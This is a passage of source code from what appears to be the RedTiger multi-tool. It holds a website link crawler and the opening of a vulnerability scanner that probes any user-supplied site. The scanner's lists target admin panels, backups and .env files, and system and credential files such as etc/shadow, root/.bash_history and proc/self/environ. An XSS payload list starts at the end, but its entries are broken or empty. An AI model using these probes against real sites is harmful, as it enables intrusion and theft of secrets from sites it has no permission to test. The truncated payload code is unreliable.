32 | def ExtractLinks(base_url, domain, tags):
33 | global all_links
34 | extracted_links = []
35 | for tag in tags:
36 | attr = tag.get('href') or tag.get('src') or tag.get('action')
37 | if attr:
38 | full_url = urljoin(base_url, attr)
39 | if full_url not in all_links and domain in full_url and IsValidExtension(full_url):
40 | extracted_links.append(full_url)
41 | all_links.append(full_url)
42 | return extracted_links
43 |
44 | def ExtractLinksFromScript(scripts, domain):
45 | global all_links
46 | extracted_links = []
47 | for script in scripts:
48 | if script.string:
49 | urls_in_script = re.findall(r'(https?://\S+)', script.string)
50 | for url in urls_in_script:
51 | if url not in all_links and domain in url and IsValidExtension(url):
52 | extracted_links.append(url)
53 | all_links.append(url)
54 | return extracted_links
55 |
56 | def FindSecretUrls(website_url, domain):
57 | global all_links
58 | response = requests.get(website_url, headers=headers)
59 | if response.status_code != 200:
60 | return
61 | soup = BeautifulSoup(response.content, 'html.parser')
62 | tags = soup.find_all(['a', 'link', 'script', 'img', 'iframe', 'button', 'form'])
63 | extracted_links = ExtractLinks(website_url, domain, tags)
64 | extracted_links += ExtractLinksFromScript(soup.find_all('script'), domain)
65 | for link in extracted_links:
66 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Url: {white}{link}")
67 |
68 | def FindAllSecretUrls(website_url, domain):
69 | FindSecretUrls(website_url, domain)
70 | visited_links = set()
71 | while True:
72 | new_links = [link for link in all_links if link not in visited_links]
73 | if not new_links:
74 | break
75 | for link in new_links:
76 | try:
77 | if requests.get(link, headers=headers).status_code == 200:
78 | FindSecretUrls(link, domain)
79 | visited_links.add(link)
80 | except:
81 | pass
82 |
83 | Slow(scan_banner)
84 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Selected User-Agent: {white + user_agent}")
85 | website_url = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Website Url -> {reset}")
86 | Censored(website_url)
87 | if "https://" not in website_url and "http://" not in website_url:
88 | website_url = "https://" + website_url
89 | domain = re.sub(r'^https?://', '', website_url).split('/')[0]
90 | print(f"""
91 | {BEFORE}01{AFTER}{white} Only Url
92 | {BEFORE}02{AFTER}{white} All Website
93 | """)
94 | choice = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Choice -> {reset}")
95 | if choice in ['1', '01']:
96 | FindSecretUrls(website_url, domain)
97 | elif choice in ['2', '02']:
98 | FindAllSecretUrls(website_url, domain)
99 | Continue()
100 | Reset()
101 | except Exception as e:
102 | Error(e)
103 |
--------------------------------------------------------------------------------
/Program/Website-Vulnerability-Scanner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 |
14 | try:
15 | import requests
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Sql Vulnerability Scanner")
20 |
21 | try:
22 | user_agent = ChoiceUserAgent()
23 | headers = {"User-Agent": user_agent}
24 |
25 | def InterestingPath(url):
26 | paths = [
27 | "admin", "admin/", "admin/index.php", "admin/login.php", "admin/config.php",
28 | "backup", "backup/", "backup/db.sql", "backup/config.tar.gz", "backup/backup.sql",
29 | "private", "private/", "private/.env", "private/config.php", "private/secret.txt",
30 | "uploads", "uploads/", "uploads/file.txt", "uploads/image.jpg", "uploads/backup.zip",
31 | "api", "api/", "api/v1/", "api/v1/users", "api/v1/status",
32 | "logs", "logs/", "logs/error.log", "logs/access.log", "logs/debug.log",
33 | "cache", "cache/", "cache/temp/", "cache/session/", "cache/data/",
34 | "server-status", "server-status/", "server-status/index.html",
35 | "dashboard", "dashboard/", "dashboard/index.html", "dashboard/admin.php", "dashboard/settings.php"
36 | ]
37 | CheckPaths(url, paths, "Interesting Path")
38 |
39 | def SensitiveFile(url):
40 | files = [
41 | "etc/passwd", "etc/password", "etc/shadow", "etc/group", "etc/hosts", "etc/hostname",
42 | "var/log/auth.log", "var/log/syslog", "var/log/messages", "var/log/nginx/access.log",
43 | "root/.bash_history", "home/user/.bash_history", "www/html/wp-config.php", "proc/self/environ",
44 | "opt/lampp/phpmyadmin/config.inc.php", "boot/grub/menu.lst", "proc/net/tcp"
45 | ]
46 | CheckPaths(url, files, "Sensitive File")
47 |
48 | def Xss(url):
49 | payloads = [
50 | "",
51 | "
",
52 | "